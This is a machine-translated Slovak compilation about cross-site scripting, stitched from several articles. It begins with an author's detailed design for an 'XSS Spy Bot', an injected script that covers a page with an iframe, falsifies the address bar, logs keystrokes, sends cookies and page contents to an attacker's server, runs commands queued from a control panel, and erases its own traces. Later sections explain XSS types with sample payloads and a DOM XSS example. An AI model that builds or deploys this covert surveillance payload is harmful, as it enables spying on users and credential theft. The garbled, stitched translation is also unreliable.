Každý už dávno vie, že pomocou XSS sa útočník najčastejšie pokúša poslať súbor cookie obeti, prečítať tokeny CSRF, vykonať phishingový útok (vytvorením falošného prihlasovacieho formulára), vykonať nejakú akciu v mene používateľa a niektoré ďalšie podobné útoky (možno to nie sú všetky možnosti, ale toto sú všetky tie najobľúbenejšie, ktoré v súčasnosti poznám).
Účelom tejto metódy je v mene používateľa monitorovať stránky, ktoré naviguje na napadnutom webe, ako aj sledovať jeho stlačenia klávesov (môžete použiť aj pohyby myši a kliknutia, ale pre mňa to bude zbytočné, nie príliš užitočné informácie, vo väčšine prípadov určite).
Teraz, pokiaľ ide o maximálny prínos - verím, že algoritmus bude takýto:
- čítať a odosielať súbory cookie;
- prečítať a odoslať ostatné informácie (IP adresa, nainštalované pluginy, verzia a typ prehliadača, podpora flash, podpora Silverlight atď.) [voliteľné]
- získať informácie o internej sieti, preniknúť do smerovača [voliteľné]
- čítať a odosielať rôzne tokeny [voliteľné];
- implementovať phishing [voliteľné];
- robíme niečo „rukami používateľa“ [voliteľné];
- pokračujeme v jeho špehovaní a získavaní informácií, kým nezatvorí kartu alebo neopustí stránku;
Všetky voliteľné položky zoznamu by sa IMHO mali vykonávať v závislosti od situácie a konkrétnych priorít pre ciele, ktoré je potrebné pomocou XSS dosiahnuť, niekedy sa môžu navzájom prekážať (ak sa ich pokúsite skombinovať, alebo skôr vykonať jednu po druhej) a zvýšiť pravdepodobnosť zlyhania operácie XSS.
Ale vždy by mal byť splnený prvý a posledný bod, v každom prípade hlavná časť článku bude vlastne o poslednom bode z tohto zoznamu.
Začnem z diaľky: cez JavaScript je možné zmeniť cestu v adresnom riadku bez opätovného načítania stránky. Napríklad, ak používateľ načítal stránku na adrese
Potom bude obsah v paneli s adresou vyzerať takto (bez opätovného načítania stránky):
http: //site.com/new-url/ |
Mimochodom, táto funkcia je niekedy celkom užitočná, keď je potrebné sa pred používateľmi (alebo pozornejšou kategóriou používateľov – administrátormi) skryť rýchlym vyčistením adresy URL po kliknutí na odkaz, ktorý obsahoval Reflected XSS, takže neskôr, po načítaní stránky, pohľadanie do adresného riadku, nič nenašlo.
http : //site.com/search.php?q=123 dokument . telo. innerHTML += "Napadnuté" ; |
http: //site.com/search.php?q=123 okno. histórie. pushState ("" , "" , "/" ); dokument. telo. innerHTML += "Napadnuté" ; |
pripravíme ho o túto možnosť.
Ale táto technika má ešte zaujímavejšie a výkonnejšie aplikácie. Používateľovi po kliknutí na odkaz nasimulujeme jeho pobyt na stránke, v skutočnosti zostane celý čas na jednej stránke a v tomto čase bude fungovať skript tretej strany, ktorý vytiahne a pošle informácie útočníkovi. teda XSS bude fungovať, pokiaľ používateľ klikne na odkaz v tejto doméne .
Označujeme myšlienku.Všeobecný princíp fungovania je takýto: keď používateľ vstúpi na stránku s XSS, skript vytvorí iframe s rovnakou adresou ako stránka a „pripojí“ ho do popredia, používateľ získa dojem, že sa stránka načítala normálne, pretože iframe je možné vidieť iba na kódových stránkach.
A pomocný skript riadi logiku špionážneho robota, to znamená, že sleduje, kedy sa adresa v rámci zmení, aby ju zmenil v adresnom riadku, ale ak má novo zmenená adresa rámca inú doménu, môžete otvoriť na novej karte, alebo budete musieť stránku znova načítať, aby ste sa nespálili.
Aby sa teda XSS momentálne prestalo vykonávať, musí používateľ buď stránku obnoviť manuálne (ak je XSS Reflected a bolo prenášané metódou POST, v iných prípadoch aktualizácia nepomôže a mimochodom, niektoré prehliadače teraz môžu znova odoslať požiadavku POST pri aktualizácii stránky) alebo zatvoriť kartu alebo prepnúť na inú doménu (aj keď v tomto prípade sa stále môžete vyhnúť strate kontroly).
Ak ide do subdomény napadnutej domény, je to voľba útočníka, to znamená, že XSS bude fungovať, ale existuje malá šanca, že používateľ zistí nezrovnalosť medzi adresou. Myslím si, že v závislosti od situácie tu, napríklad, ak bola napadnutá doména google.ru, používateľ prešiel na cloudovú súborovú službu Google, ktorá zvyčajne leží v subdoméne drive.google.ru, potom je pravdepodobnosť, že si všimne úlovok pri pohľade na panel s adresou je dosť vysoký, ak túto službu často využíval. V opačnom prípade by ste mohli riskovať. Musíme ale počítať s tým, že už nebudeme môcť čítať jeho dáta z rámca so subdoménou, keďže Cross Origin Policy to neumožňujú. Ale môžeme bezpečne surfovať po hlavnej doméne v jej mene v skrytom režime (viac o tom nižšie).
Iba táto metóda má obmedzenia, konkrétne, nebude fungovať, ak odpovede webového servera lokality obsahujú hlavičku X-Frame-Options s hodnotou DENY . Osobne som sa však s takýmito stránkami stretol doslova niekoľkokrát, teraz už ani polovica z nich nemá nastavený SAMEORIGIN, nehovoriac o úplnom obmedzení prostredníctvom ODMIETNUŤ.
Poďme analyzovať myšlienku.Teraz si asi mnohí pamätajú takú úžasnú vec, ako je BeEF, ktorá má tiež veľa zaujímavých vecí. Mimochodom, existuje aj možnosť prinútiť používateľa k presmerovaniu v rámci, ale adresa v adresnom riadku sa nemení, čo môže rýchlo zhorieť stôl a táto možnosť slúži trochu iným účelom.
Vo všeobecnosti má BeEF takmer všetko, čo potrebujete, a dokonca aj mnoho ďalších funkcií, ale osobne som chcel ďalšie funkcie, konkrétne:
- možnosť monitorovať kód stránok, ktoré sú prístupné napadnutému používateľovi v reálnom čase;
- možnosť vidieť všetko, čo na danej stránke napíše (od prihlasovacieho mena a hesla, po klávesové skratky a správy), teda keylogger v JS;
- možnosť zadávať príkazy JS vášmu robotovi v reálnom čase po zobrazení kódu prijatých stránok;
- schopnosť ponechať príkazy robotovi lokálne, aby ich mohol neskôr „vyzdvihnúť“ a vykonať bez našej priamej účasti;
- nižšia pravdepodobnosť spálenia robota alebo jeho schopnosť „skryť sa“ pred zvedavými očami;
Ako už bolo spomenuté vyššie, rozhodol som sa požičať si skvelý nápad fronty na vykonávanie príkazov od BeEF. Napríklad sme analyzovali stránky, ktoré robot zahodil, keď privilegovaný používateľ pristupoval na svoj ovládací panel s uloženým XSS, príkazy nechávame robotovi - kód JS, ako napríklad pri ďalšom prihlásení používateľa kliknite na toto tlačidlo, napíšte toto value here atď. , keď tento používateľ nabudúce navštívi stránku, robot si prečíta príkazy a vykoná ich a my nemusíme byť pri všetkom – je to veľmi pohodlné.
V zásade je takýto bot, samozrejme, určený pre vysoko postavených používateľov niektorých stránok, ktoré majú ďalšie „páky“ na správu obsahu, iných používateľov atď. Z požiadaviek na funkčnosť je zrejmé, že bez serverovej časti sa nezaobídeme.
Poďme realizovať nápad.V zásade môžete túto časť článku preskočiť, pretože jednoducho popisuje proces implementácie požadovaného robota a niektoré jeho podrobnosti, ak by ho niekto chcel prerobiť alebo prispôsobiť pre seba. Aj keď bot bude mať na začiatku kódu premenné, prostredníctvom ktorých môžete nastaviť niektoré nastavenia.
Po prvé, algoritmus akcií robota od okamihu načítania:
1) Kontrola prítomnosti hlavičky X-Frame-Options:DENY(ak existuje, potom zrolujeme rybárske prúty);
2) Vloženie rámu a nastavenie všetkých komponentov robota;
3) Odstránenie skriptu a všetkých stôp v kóde HTML;
4) Nadviazanie kontaktu so serverovou časťou a začatie odosielania dát, reagovanie na odpovede (prijímanie príkazov zo servera);
Prvý bod nebol vykonaný úplne, to znamená, že robot kontroluje iba prvú stránku a koreňovú hlavičku. Faktom je, že tieto hlavičky sú zvyčajne zabudované webovým serverom pre všetky stránky naraz a je veľmi zriedkavé, že pre jednu stránku sa všetko robí „ručne“. A tento titul sám o sebe je dosť vzácny. No, o druhom a treťom nie je veľa čo povedať, všetko bude nižšie.
Je tu pomerne dôležitý bod, že pred pridaním kódu skriptu bota do kódu sa musíte okamžite zbaviť znakov XSS v paneli s adresou (z kódu JS), pretože to znižuje šance na odhalenie a čo je najdôležitejšie, zabraňuje rekurzii. ku ktorému dochádza pri pridávaní adresy do rámca s rovnakým kódom XSS, ktorý následne vytvára ďalší rámec sám so sebou atď.
Ale pre každý prípad, kód bota implementuje schopnosť detegovať takúto rekurziu rámca a zabrániť jej pri prvom pokuse o pridanie rámca do už vytvoreného rámca, ale je lepšie nespoliehať sa len na to, ale kód dodatočne odstrániť pred načítaním kódu bota. Aj keď som sa zatiaľ nestretol so žiadnymi problémami.
Funkcia kontroly aktualizácie rámu. Vyskúšal som niekoľko spôsobov, ako ekonomicky vyriešiť tento problém zavesením obsluhy udalostí contentWindow alebo contentDocument, ale nič nefungovalo, tak som musel napísať funkciu, ktorá skontroluje adresu rámca a porovná ju s predtým uloženou a na základe toho rozhodne, či sa rám aktualizuje (či sa zmenila adresa) a potom nazýva sa rekurzívne.
Frekvencia takýchto kontrol za sekundu je riadená premennou meškanie, ktorý je uvedený na začiatku súboru s kódom bota. Ale neskôr, keď som to už napísal, našiel som efektívnejšie riešenie - použiť jednoduché riešenie a zavesiť načítať do rámu, tak som tú funkciu nechal, ale okomentoval som ju, pre prípad, že by sa neskôr ukázalo, že je viac žiadaná.
Schéma je tu celkom jednoduchá - po každom opätovnom načítaní rámca (vrátane prvého načítania) robot odošle na server celý HTML kód stránky spolu s jej aktuálnou adresou, aby ste neskôr mohli rozlíšiť, či kód patrí požadovanému stránky.
Server implementuje logiku ukladania stránok - server pre každú doménu vytvorí priečinok s názvom tejto domény a uloží tam všetky údaje. Kódy stránok sa ukladajú a neustále aktualizujú na najnovšie verzie, ale každý nový deň sa vytvorí nová kópia stránky, aby ste v prípade potreby mohli ovládať históriu verzií. To je pre /news.php 1. septembra sa stav aktualizuje a 2. septembra sa vytvorí jeho kópia, relevantná len pre daný deň, a tak ďalej každý deň (ak používateľ navštevuje túto stránku každý deň). Názov stránky pozostáva z dátumu a cesty k tejto stránke vzhľadom na koreňový adresár lokality (teda bez domény).
Keylogger v JavaScripte.Myšlienku už niekoľko nadšencov realizovalo, ale ich práca pre mňa nebola vhodná, už len preto, že väčšina z nich bola celkom jednoduchá, teda detekovali kód stlačenej klávesy a cez String.fromCharCode preložené do symbolov. Táto metóda má však niekoľko nevýhod - ovládacie klávesy ako shift, control, medzera atď. nie sú preložené do žiadnej formy (často jednoducho do prázdneho znaku), interakcia alfanumerických kláves s shift je nesprávne zaznamenaná, pretože musia byť implementované programovo a Všetky stlačené klávesy sa tiež zobrazujú veľkými písmenami, čo je možné opraviť aj programovo.
Výsledkom bol keylogger, ktorý správne rozpoznal všetky klávesy s číslami, písmenami a základnými znakmi, pracoval na oboch rozloženiach, reagoval na posun a zaznamenával všetky hlavné špeciálne klávesy. Pravda, niektoré znaky (v hornej časti číselného radu, ktoré sa vytlačia pri stlačení shift a čísla) sa môžu na niektorých strojoch líšiť, keďže boli implementované podľa základného štandardu, ktorý niektoré firmy menia.
Klient si ponechá každú časť stlačených znakov, kým textový prvok nestratí zameranie. Ďalej sa táto časť odošle na server, kde sa uloží do textového súboru, ktorý sa bude tiež vytvárať každý deň s novou kópiou, aby sa nezväčšila a vy ste mohli rýchlo nájsť, čo používateľ písal v tom čase.
Okrem samotných kľúčov sa na server s každou časťou odosielajú aj informácie o prvku, do ktorého bol text napísaný (t. j. , [
alebo nejaké
keď používateľ použil klávesové skratky), okrem názvu prvku sa odošlú aj jeho základné údaje (id, meno, trieda - ak je prítomná), aby ho bolo možné ľahko nájsť v kóde. A samozrejme sa eviduje adresa stránky, na ktorej bol nábor realizovaný a približný čas tohto náboru. Vo všeobecnosti sa na následnú analýzu odosiela dostatok informácií o klepnutí používateľa na klávesnicu.
Tento proces môže vykonať útočník alebo na strane, kde bude robot spúšťať server, alebo dokonca na diaľku. Po spustení serverového skriptu sa spustí vlastnoručne napísaný miniatúrny webový server, ktorý obsluhuje požiadavky robota a jeho kontrolóra, ktorý pracuje cez webové rozhranie. To znamená, že po spustení webový server vydá odkaz, na ktorý môžete robotovi zadávať príkazy.
O tomto ovládacom paneli. Jednak to bolo potrebné obmedziť heslom (cestu a málokto bude vedieť o spustenej službe na takom a takom porte alebo o adrese, na ktorú sa potrebuje dostať, aby mohol túto službu využívať), aby pri prvom prihlásení server požiada o heslo, ktoré je uvedené v adresnom riadku (uvedieme príklad), pôvodné heslo je uložené v password.txt, ktoré je možné zmeniť. Po prvom prihlásení dá webový server prehliadaču pokyn na uloženie hesla do súboru cookie, takže sa o to už nemusíte starať.
Na samotnej stránke na odosielanie príkazov robotovi sú tiež informácie o stave robota - či je momentálne online alebo offline a niekoľko nastavení, z ktorých prvé je hostiteľ, teda IP. adresu alebo doménu lokality, na ktorú sa budú robotovi odosielať príkazy. Toto je navrhnuté v prípade, že tento robot obsahuje niekoľko stránok, aby ich bolo možné identifikovať. Na serveri sú aj pre tento prípad všetky dáta rozdelené do priečinkov s doménovými názvami.
Ďalej je okno, v ktorom môžete písať príkazy robotovi v JS, a možnosť, ktorá nastavuje, kde sa tento kód JS vykoná, v hlavnom okne, kde robot sedí, alebo v rámci - to sa robí pre pohodlie, pre prípad. .
Ak robot nie je online, server jednoducho uloží príkazy a neskôr, keď sa robot dostane do režimu online, to znamená, že používateľ s ním znova navštívi stránku alebo nasleduje odkaz útočníka, tieto príkazy sa vykonajú.
To je veľmi výhodné, ak pri prvej rekognoskácii robot zahodil všetky stránky navštívené používateľom (napríklad osobný účet), po preštudovaní kódu, ktorého sme napísali príkazy v JS, aby potom bot klikol na odkazy, ktoré sme potrebovali, zadajte potrebné údaje, zobrazte potrebné obrázky atď., čo pomôže dosiahnuť váš cieľ.
Alebo si môžete priamo v reálnom čase rýchlo pozrieť obsah stránok cez kód a dať príkazy robotovi, aby poslal kód iných stránok, prešiel na inú adresu atď. A to všetko sa bude robiť obrazovka“ používateľa, ktorý bude pokojne surfovať po stránke cez rám.
Pre vaše pohodlie môžete najčastejšie používané inštrukcie sformovať do celých funkcií v JS, ktoré sa potom vložia do zdrojového súboru robota ( xsb.js, viac o štruktúre súborov nižšie) a použitie. Alebo použite tie funkcie, ktoré sú súčasťou robota, hoci sú tam len základy a nie je tam nič nové, ale napríklad funkciu odoslania kódu stránky môžete použiť kedykoľvek, a nie pri opätovnom načítaní rámca. Môžete napísať funkciu, ktorá otvorí odkazy, ktoré jej boli odovzdané, v nových rámcoch na pozadí, aby ste si mohli v mene používateľa zobraziť obsah niekoľkých stránok naraz (a ovládať tento obsah jeho virtuálnymi rukami).
Odstránenie vlastného kódu.Posledná funkcia je implementovaná celkom jednoducho (dá sa vypnúť nastavením požadovanej premennej v súbore, sú zakomentované). Skript sa po nastavení a zavesení všetkých obslužných programov udalostí, vytvorení všetkých premenných a funkcií sám vymaže
Koniec koncov, všetky údaje už boli načítané do RAM cez prehliadač, takže sa nie je čoho obávať, ale to je teoreticky, možno sa neskôr vyskytnú nejaké problémy, ktoré som nezohľadnil, takže som vytvoril premennú ktoré možno v prípade potreby použiť na vypnutie tejto funkcie.
Po odstránení všetkých skriptov bude mimoriadne ťažké všimnúť si XSS, pretože prítomnosť rámca to celkom nepriamo nenaznačuje a samotný kód možno nájsť iba v protokoloch histórie sieťovej prevádzky prehliadača (ktoré sa štandardne neuchovávajú v mnohých prehliadačoch, ak panel vývojára nie je otvorený) .
Serverová časť.Pre jednoduchší a pohodlnejší spôsob spustenia bota sa rozhodlo napísať vlastný malý webový server na soketoch, ktorý by obsluhoval bota, zabezpečoval všetky operácie na prijímanie a odosielanie odoslaných dát, prenášal správy medzi útočníkom a botom, a vytvorte webové rozhranie pre útočníka na príkaz .
Server bol napísaný v Pythone, snažil som sa používať iba štandardné knižnice, aby som pred spustením nemusel nič inštalovať. Server tiež sám upravuje niektoré údaje v skriptoch, to znamená, že v skripte JS robota nie je potrebné nastavovať adresu riadiaceho servera, webový server tam sám nastaví požadovanú adresu pri spustení. V konfigurácii servera je len jeden parameter - port, na ktorom sa spustí (predvolená hodnota je 8000).
Po spustení server poskytne všetky potrebné údaje - odkaz na JS skript, ktorý bude potrebné pretiahnuť, odkaz na príkazový panel, alebo skôr odkazy na externé a lokálne adresy, pre pohodlie.
Spustíme server na nejakom nevyžiadanom porte a môžete poslať odkaz so skriptom bota, potom vám každý, kto naň klikne, pošle údaje, ktoré server uloží kedykoľvek počas dňa. Potom ich môžete jednoducho zobraziť, ak je potrebné opustiť tímového robota a pokračovať v jeho vlastnej činnosti.
Štruktúra súboru.Priečinok obsahuje nasledujúce súbory:
- xsb.py - hlavný súbor, ktorý implementuje časť servera; aby robot fungoval, spustite ho a potom jednoducho použite odkaz, ktorý ponúka;
- xsb.js - tu je uložený JS kód robota, na ktorý odkaz poskytuje server; na jeho začiatku sú deklarované konfiguračné premenné, ktoré je možné zmeniť podľa vlastného uváženia (niektoré, konkrétne hostiteľ a port, server sa nastaví neskôr sám, nemusíte sa o to starať);
- panel.html - odtiaľto server prevezme kód pre ovládací panel robotov, rozhranie môžete upraviť podľa vlastného uváženia;
- password.txt - tu je uložené heslo k ústredni, ktoré je možné zmeniť;
- SavedData je adresár, v ktorom sa vytvoria priečinky s doménami webových stránok, do ktorých sa budú ukladať všetky informácie.
Dovoľte mi znova poznamenať, že v spise xsb.js môžete pridať svoje vlastné funkcie, ktoré potom môžete volať cez panel bez písania veľkých častí kódu;
Krátka analýza výsledkov.Po napísaní vlastného vynájdeného spôsobu, ako udržať používateľa na stránke s XSS cez rámce (no, ako vymyslené - osobne som to objavil pre seba, je dosť možné, že niekto iný „vynašiel“ rovnakú techniku pre seba alebo je to už niekde in verejnosť zažiarila, pretože teraz je dosť ťažké vyvinúť niečo skutočne nové a spravidla po určitom čase zistíte, že „toto už bolo v Simpsonovcoch“) som sa začal podrobnejšie zaoberať BeEF a čítal som jeho wiki. Potom som zistil, že tam bola implementovaná iná technika na dosiahnutie rovnakého cieľa – predĺženie času používateľa na stránke pomocou spustiteľného XSS (ktorý nazvali man-in-the-browser). A bolo to implementované takto: všetky odkazy na pôvodnej stránke boli zmenené tak, že po kliknutí na ktorýkoľvek z nich skript stránku znova nenačítal, ale poslal požiadavku na server cez Ajax a vložil údaje dostal v odpovedi, teda dalo by sa povedať umelo aktualizovaný, ktorý bol navyše takmer na nerozoznanie od bežného občerstvenia.
Nebol som preto prvý, komu sa podarilo túto myšlienku zrealizovať (aj keď sa ukázalo, že metódy sú odlišné). Ale obe tieto metódy majú svoje nevýhody:
Metóda načítania cez nefunguje, ak je v odpovedi hlavička X-Frame-Options:DENY, ale inak funguje ako bežné okno prehliadača;
Metóda ajax funguje vždy, ak ju prehliadač podporuje (teraz ju podporujú všetky hlavné prehliadače), ale s novým štandardom Web 2.0 je čoraz viac prechodov spúšťaných vlastnými udalosťami akýchkoľvek prvkov cez JS. Jedného dňa som išiel do Google AdWords a rozhodol som sa zistiť, ako tam interagujú ich HTML a JS, pretože všetky moje pavúky boli extrémne zlé pri vytváraní zadnej mapy tejto služby. A celý večer som potichu šalel z toho, aké je tam všetko nezvyčajné, keď textové prvky boli tlačidlá a prepínače a posuvníky a boli zobrazené so všetkým ostatným a každý mal asi 30 handlerov na rôzne udalosti.
To znamená, že na sofistikovanom webe bude prechodové tlačidlo (subjektívne odkaz) implementované prostredníctvom bežného tagu , ktorý je nabitý štýlmi a ku ktorému sú pripojené obslužné programy udalostí, z ktorých jeden je napr. onclick presmeruje používateľa na inú stránku. Existujú aj štandardné prvky ako [i] alebo on sám atď., čo sú vlastne aj odkazy na iné stránky, na ktoré však BeEF nebude reagovať a stránka sa jednoducho neaktualizuje, keď kliknete na väčšinu tlačidiel a iných prvkov. Čo môže používateľa vyzvať, aby obnovil stránku alebo znova vstúpil z druhej strany, čo ukončí našu aktívnu reláciu XSS.
Pre stručnosť pri pomenovaní súborov som to nazval Xss Spy Bot.
P.S.
Toto celé trvalo napísať niečo vyše mesiaca kvôli pravidelnému nedostatku času a neustálemu rozptyľovaniu. Aj kvôli tomu je kvalita kódu a pravdepodobnosť, že narazíte na nejakú chybu, dosť vysoká. Prosím vás teda, aby ste príliš nenadávali, ale napísali, čo komu je, aby sa to dalo napraviť.
Sám som bota testoval iba na 4 počítačoch, pričom na všetkých bežal Debian.
Dlhodobé plány pre tohto robota, ak existuje motivácia:
— implementovať vykresľovanie kódu stránok, ktoré robot posiela na server, aby sa okamžite otvoril v prehliadači a mohol sa „dotýkať“ a testovať za behu;
— pokúsia sa zachytiť nejaké vychytávky z technológie WebRTC, teda nájsť spôsoby, ako získať nové informácie, ktoré čistý JS nedokáže vydolovať;
— implementovať komunikáciu medzi robotom a serverom pomocou protokolu WebSocket cez HTTP;
— pridať niektoré vymoženosti do ovládacieho panela;
Naposledy aktualizované 18. novembra 2016.
Čo je to XSS zraniteľnosť? Máme sa jej báť?
Skriptovanie medzi stránkami (skrátene XSS) je rozšírená zraniteľnosť ovplyvňujúca mnohé webové aplikácie. Umožňuje útočníkovi vložiť škodlivý kód na webovú stránku takým spôsobom, že prehliadač používateľa, ktorý stránku navštívi, kód spustí.
Využitie takejto zraniteľnosti si zvyčajne vyžaduje určitú interakciu s používateľom: buď je nalákaný na infikovanú stránku pomocou sociálneho inžinierstva, alebo jednoducho čaká, kým používateľ stránku navštívi. Preto vývojári často neberú zraniteľné miesta XSS vážne. Ak sa však neadresujú, môžu predstavovať vážne bezpečnostné riziko.
Predstavme si, že sme v administračnom paneli WordPress a pridávame nový obsah. Ak na to použijeme XSS-zraniteľný plugin, môže prehliadač prinútiť vytvoriť nového správcu, upraviť obsah a vykonať ďalšie škodlivé akcie.
Skriptovanie medzi stránkami poskytuje útočníkovi takmer úplnú kontrolu nad najdôležitejším softvérom súčasnosti – prehliadačom.
XSS: Zraniteľnosť vstrekovaniaKaždá webová stránka alebo aplikácia má niekoľko miest na zadávanie údajov - polia formulára až po samotnú URL. Najjednoduchší príklad zadávania údajov je, keď zadáme používateľské meno a heslo do formulára:
Obrázok 1. Formulár na zadanie údajov
Naše meno bude uložené v databáze stránky pre následné interakcie s nami. Keď ste sa prihlásili na akúkoľvek webovú stránku, určite ste videli osobný pozdrav v štýle „Vitajte, Ilya“. Na tieto účely sa v databáze ukladajú používateľské mená.
Injekcia je postup, keď sa namiesto mena alebo hesla zadá špeciálna sekvencia znakov, ktorá prinúti server alebo prehliadač reagovať určitým spôsobom, ktorý si útočník želá.
Skriptovanie medzi stránkami je injekcia, ktorá vstrekuje kód, ktorý vykoná akcie v prehliadači v mene webovej stránky. Môže sa to stať buď s upozornením používateľa, alebo na pozadí, bez jeho vedomia.
Obrázok 2. Vizuálny diagram cross-site skriptovania
Najjednoduchším príkladom je jednoduchý skript, ktorý zobrazí okno s upozornením. Vyzerá to asi takto:
Tabuľka 1. Skript, ktorý spôsobuje vyskakovacie okno
upozornenie ("JE TO ZRANITEĽNOSŤ XSS!!!")
Tento skript zobrazí okno so správou „TOTO JE ZRANITEĽNOSŤ XSS!!!“ Prehliadač používateľa vníma a spúšťa tento skript ako súčasť legitímneho kódu stránky.
Typy zraniteľností XSSNie všetky zraniteľnosti XSS sú rovnaké; existuje veľa typov. Tu sú typy a spôsob ich interakcie:
Obrázok 3. Typy zraniteľností XSS
Chyby zabezpečenia spôsobené kódom na strane servera (Java, PHP, .NET atď.):
Tradičné XSS útoky:
Chyby zabezpečenia spôsobené kódom na strane klienta (JavaScript, Visual Basic, Flash atď.):
Tiež známe ako modely DOM:
Zraniteľnosť spôsobená infraštruktúrou (prehliadač, zásuvné moduly, servery atď.):
Sú veľmi zriedkavé, ale sú nebezpečnejšie:
Zraniteľnosť spôsobená používateľom:
Ako môžete chrániť svoje stránky pred XSS? Ako skontrolovať zraniteľnosť kódu? Existujú technológie ako Sucuri Firewall, ktoré sú špeciálne navrhnuté tak, aby sa takýmto útokom vyhli. Ale ak ste vývojár, určite sa budete chcieť dozvedieť viac o tom, ako identifikovať a zmierniť zraniteľnosti XSS. O tom si povieme v ďalšej časti článku o XSS.
- 1.Čo je XSS
- 2. Typy XSS
- 3. Vlastnosti XSS založeného na DOM
- 4.Revízor XSS
- 5. Príklady využívania XSS
- 6. Hľadajte stránky náchylné na XSS
- 7.Programy na vyhľadávanie a skenovanie zraniteľností XSS
Cross-site scripting (XSS) je chyba zabezpečenia, ktorá zahŕňa vloženie kódu na strane klienta (JavaScript) do webovej stránky, ktorú si prezerajú ostatní používatelia.
Zraniteľnosť je spôsobená nedostatočným filtrovaním údajov, ktoré používateľ odošle na vloženie na webovú stránku. Je to oveľa jednoduchšie pochopiť na konkrétnom príklade. Zapamätajte si akúkoľvek knihu návštev – ide o programy, ktoré sú navrhnuté tak, aby prijímali údaje od používateľa a následne ich zobrazovali. Predstavme si, že kniha návštev zadané údaje nijako nekontroluje a nefiltruje, ale jednoducho zobrazuje.
Môžete si načrtnúť svoj najjednoduchší skript (nie je nič jednoduchšie ako písať zlé skripty v PHP - veľa ľudí to robí). Ale pripravených možností je už dosť. Napríklad navrhujem začať s Dojo a OWASP Mutillidae II. Je tam podobný príklad. V samostatnom prostredí Dojo prejdite vo svojom prehliadači na tento odkaz: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Ak jeden z používateľov zadal:
Ahoj! Ako sa máš.
Na webovej stránke sa potom zobrazí:
Ahoj! Ako sa máš.
A ak používateľ zadá toto:
Ahoj! Ako sa máš. upozornenie ("Pwned")
Potom sa zobrazí takto:
Prehliadače ukladajú viacero súborov cookie pre veľký počet stránok. Každá stránka môže prijímať iba súbory cookie, ktoré si sama uloží. Napríklad web example.com uložil do vášho prehliadača niektoré súbory cookie. Ak navštívite stránku other.com, táto stránka (skripty klienta a servera) nebude mať prístup k súborom cookie, ktoré sú uložené na stránke example.com.
Ak je stránka example.com zraniteľná voči XSS, znamená to, že do nej môžeme nejakým spôsobom vložiť kód JavaScript a tento kód sa spustí v mene stránky example.com! Tie. Tento kód bude napríklad pristupovať k súborom cookie stránky example.com.
Myslím, že každý si pamätá, že JavaScript sa spúšťa v používateľských prehliadačoch, t.j. v prítomnosti XSS získa vložený škodlivý kód prístup k údajom používateľa, ktorý otvoril stránku webu.
Vložený kód dokáže všetko, čo dokáže JavaScript, konkrétne:
- získava prístup k súborom cookie webovej stránky, ktorú si prezeráte
- môže vykonať akékoľvek zmeny vzhľadu stránky
- pristupuje do schránky
- môže implementovať programy JavaScript, napríklad keyloggery (zachytávače stlačenia klávesov)
- vyzdvihnúť na BeEF
Najjednoduchší príklad so súbormi cookie:
upozornenie(document.cookie)
V skutočnosti sa upozornenie používa iba na detekciu XSS. Skutočné škodlivé zaťaženie vykonáva skryté akcie. Tajne kontaktuje útočníkov vzdialený server a prenesie naň ukradnuté dáta.
Typy XSSNajdôležitejšia vec, ktorú je potrebné pochopiť o typoch XSS, je, že sú:
- Uložené (trvalé)
- Odrazené (nestále)
Príklad konštánt:
- Špeciálne vytvorená správa zadaná útočníkom do knihy návštev (komentár, správa na fóre, profil), ktorá je uložená na serveri, sa stiahne zo servera vždy, keď používatelia požiadajú o zobrazenie tejto stránky.
- Útočník získal prístup k údajom servera napríklad prostredníctvom SQL injection a do údajov poskytnutých používateľovi vložil škodlivý kód JavaScript (s kiloggermi alebo BeEF).
Príklad nestálych:
- Na stránke je vyhľadávanie, ktoré spolu s výsledkami vyhľadávania zobrazuje niečo ako „Hľadali ste: [hľadaný reťazec]“ a údaje nie sú správne filtrované. Keďže sa takáto stránka zobrazí iba osobe, ktorá má na ňu odkaz, útok nebude fungovať, kým útočník nepošle odkaz ostatným používateľom stránky. Namiesto odoslania odkazu obeti môžete použiť umiestnenie škodlivého skriptu na neutrálnu stránku, ktorú obeť navštívi.
Tiež rozlišujú (niektoré ako typ neperzistentných XSS zraniteľností, niektorí hovoria, že tento typ môže byť aj typom perzistentných XSS):
- Modely DOM
Veľmi zjednodušene povedané, škodlivý kód „bežného“ neperzistentného XSS môžeme vidieť, ak otvoríme HTML kód. Odkaz je vytvorený napríklad takto:
Http://example.com/search.php?q="/>upozornenie(1)
A keď otvoríme zdrojový kód HTML, uvidíme niečo takéto:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >upozornenie(1)" />< button type = "submit" class = "ui-button" >Nájsť
A DOM XSS mení štruktúru DOM, ktorá sa tvorí v prehliadači za chodu a škodlivý kód môžeme vidieť až pri prezeraní vygenerovanej štruktúry DOM. HTML sa nemení. Vezmime si tento kód ako príklad:
< html > < head > < title >webstránka:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Nastala chyba...< script >function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (výsledky) ( document.getElementById("predvolené").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID vašej relácie bolo: " + display_session + "< br >< br >")
Potom v prehliadači uvidíme:
Zdrojový kód stránky:
Vytvorme adresu takto:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Teraz stránka vyzerá takto:
Poďme sa však pozrieť na zdrojový kód HTML:
Vôbec nič sa tam nezmenilo. Toto je to, o čom som hovoril, musíme sa pozrieť na štruktúru DOM dokumentu, aby sme identifikovali škodlivý kód:
Tu je funkčný prototyp XSS, na skutočný útok potrebujeme zložitejší náklad, čo nie je možné vzhľadom na to, že aplikácia prestane čítať hneď za bodkočiarkou a niečo ako alert(1);alert(2) nie je dlhšie možné. Vďaka unescape() však môžeme v návratových údajoch použiť takéto užitočné zaťaženie:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Kde sme nahradili symbol ; na ekvivalent v kódovaní URI!
Teraz môžeme napísať škodlivý obsah JavaScriptu a vytvoriť odkaz, ktorý pošleme obeti, ako sa to robí v prípade štandardného neperzistentného skriptovania medzi stránkami.
Audítor XSSV prehliadači Google Chrome (a tiež v Opere, ktorá teraz používa engine Google Chrome) ma čakalo toto prekvapenie:
